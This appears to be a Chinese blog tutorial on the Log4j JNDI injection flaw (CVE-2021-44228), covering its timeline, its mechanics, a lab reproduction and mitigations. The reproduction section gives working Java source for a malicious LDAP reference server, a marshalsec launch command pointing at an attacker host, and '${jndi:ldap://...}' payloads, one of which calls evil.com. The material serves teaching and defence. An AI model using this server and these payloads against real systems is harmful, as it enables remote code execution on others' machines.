【log4j】

Log4j 介绍与漏洞影响

Log4j 的定义

Log4j 是 "Log for Java" 的缩写,是 Apache 推出的开源日志记录组件,在 Java 开发领域应用非常广泛,主要用于记录程序运行过程中的日志信息(如调试、错误、警告等)。

Log4j 的基本使用方法

通常在 Java 项目中通过以下步骤使用:

步骤 1:在项目的pom.xml文件中引入 Log4j 的依赖(适用于 Maven 项目);

步骤 2:在代码中获取logger实例;

步骤 3:通过logger.info()logger.debug()logger.error()等方法记录不同级别的日志。

Log4j RCE 漏洞(典型如 CVE-2021-44228)的核心事件时间线,记录了漏洞从披露到修复的关键节点:

  1. 漏洞报告:11 月 24 日,阿里云安全团队率先向 Apache 报告了 Log4j 的 RCE 漏洞(远程代码执行漏洞)。
  2. 在野攻击出现:12 月 4 日,该漏洞开始被攻击者实际利用(即 "在野攻击"),安全风险从理论转为实际威胁。
  3. 漏洞细节公开:12 月 10 日凌晨,漏洞的技术细节被公开,导致攻击门槛大幅降低,攻击事件激增。
  4. 漏洞提交通道关闭:各安全响应中心(SRC)陆续关闭该漏洞的提交通道(因漏洞已大规模扩散,重复提交无额外价值)。
  5. 安全厂商响应:各安全厂商发布漏洞通报,并提供临时缓解方案,帮助用户降低风险。
  6. 官方修复版本发布:Apache 持续更新 Log4j 版本(如 rc1、rc2、2.15、2.16、2.17 等),逐步修复漏洞及衍生的安全问题

什么是 LDAP?

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和维护分布式目录信息服务的协议。

什么是 JNDI?

Java Naming and Directory Interface--Java命名和目录接口(命名服务接口)

命名服务(NaminService):立置、服务、信息、资源、对象用于根据名字找到等KV

基本操作:

1、发布服务:(名字和资源的映射):bind()

2、用名字查找资源:lookup()

JNDI可以访问的服务:LDAP目录服务、RMI远程方法调用、DNS、XNam 、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS。JNDI和LDAP的关系:${jndi:ldap://wuya.com:5678/test}。通过名字,查找(lookup)LDAP的服务,获取LDAP中存储的数据。

什么是 JNDI 注入?

Naming Reference---JNDI命名引用:

  1. 在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类,比如远程HTTP服务的一个.class文件。

  2. 如果JNDI客户端,在LDAP服务中找不到对应的资源(test),就去指定的地址请求。如果是命名引用,会把这个文件下载到本地。例如:test不存在,下载Exploit.class。

  3. 如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。

Log4j RCE 漏洞复现

1.版本限制:

2.准备Exploit文件:javac Exploit.java命令输出Exploit.class文件通过xftp传到虚拟机上

3.运行LDAP服务器,开启监听端口

java 复制代码
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://192.168.142.66:80/#Exploit";

    public static void main(String[] args) {
        int port = 7912;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

如果是远程服务器,则启动marshalsec,该目录下cmd执行以下命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.142.66:80/#Exploit 7365

运行log4j弹出计算机意味着恶意代码被执行,漏洞复现成功

复制代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
        // 先启动LDAP服务器
       // logger.error("${jndi:ldap://127.0.0.1:7912/test}");

        logger.error("${java:runtime} - ${java:vm} - ${java:os}");
    }
}
换成下面一行字符串,则能打印出虚拟机版本,系统版本

Log4j RCE 漏洞原理分析

日志记录时,字符串解析变成了代码执行

复制代码
// 正常的日志记录
logger.info("用户登录: " + username);

// 攻击者输入的 username 是:
username = "${jndi:ldap://evil.com/Exploit}"

// 实际日志记录变成:
logger.info("用户登录: ${jndi:ldap://evil.com/Exploit}");

// Log4j 的“特性”:自动解析 ${} 中的表达式
// 结果:执行了 JNDI 查找,加载了远程恶意类

影响范围和排查

临时缓解措施(如果无法立即升级)

  1. 设置系统属性 / 环境变量

    在启动JVM时添加参数:-Dlog4j2.formatMsgNoLookups=true

  2. 或者在系统环境变量中设置:LOG4J_FORMAT_MSG_NO_LOOKUPS=true

  3. 网络层防护

    使用 WAF(Web应用防火墙) 拦截包含 ${jndi:} 的恶意请求。在出口防火墙限制服务器外连未知地址(因为攻击会尝试从外网下载恶意类)。

彻底修复方案

  1. 升级 Log4j 到安全版本

    Log4j 2.x :升级到 2.17.1 或更高版本 (最新推荐 2.23.x+)。注意:2.17.1 本身也曾有漏洞(CVE-2021-44832),建议使用更高版本如 2.23.1。2.17.1 修复了CVE-2021-44228、CVE-2021-45046等。Log4j 1.x:版本已停止维护,建议升级到 2.x 或替换日志框架。

  2. 如果无法升级,替换日志框架

    例如使用 LogbackSLF4J 等替代 Log4j。

相关推荐
闻哥2 天前
从测试坏味道到优雅实践:打造高质量单元测试
java·面试·单元测试·log4j·springboot
知行合一。。。2 天前
程序中的log4j、stderr、stdout日志
python·单元测试·log4j
独自破碎E2 天前
Spring Boot测试启动失败:SLF4J日志多实现冲突解决方案
spring boot·后端·log4j
niaiheni3 天前
Log4j 漏洞深度分析:CVE-2021-44228 原理与本质
web安全·网络安全·log4j
独处东汉4 天前
freertos开发空气检测仪之串口驱动与单元测试实践
单元测试·log4j
世界尽头与你4 天前
CVE-2017-5645_ Apache Log4j Server 反序列化命令执行漏洞
网络安全·渗透测试·log4j·apache
A懿轩A5 天前
【Maven 构建工具】Maven 生命周期完全解读:clean / default / site 三套生命周期与常用命令
java·log4j·maven
我送炭你添花8 天前
Pelco KBD300A 模拟器:19.pytest集成测试(serial + protocol + macro)
python·log4j·集成测试
我送炭你添花9 天前
Pelco KBD300A 模拟器:18. 按依赖顺序 + 复杂度由低到高逐步推进pytest单元测试
python·单元测试·log4j·pytest
凹凸曼coding9 天前
Java业务层单元测试通用编写流程(Junit4+Mockito实战)
java·单元测试·log4j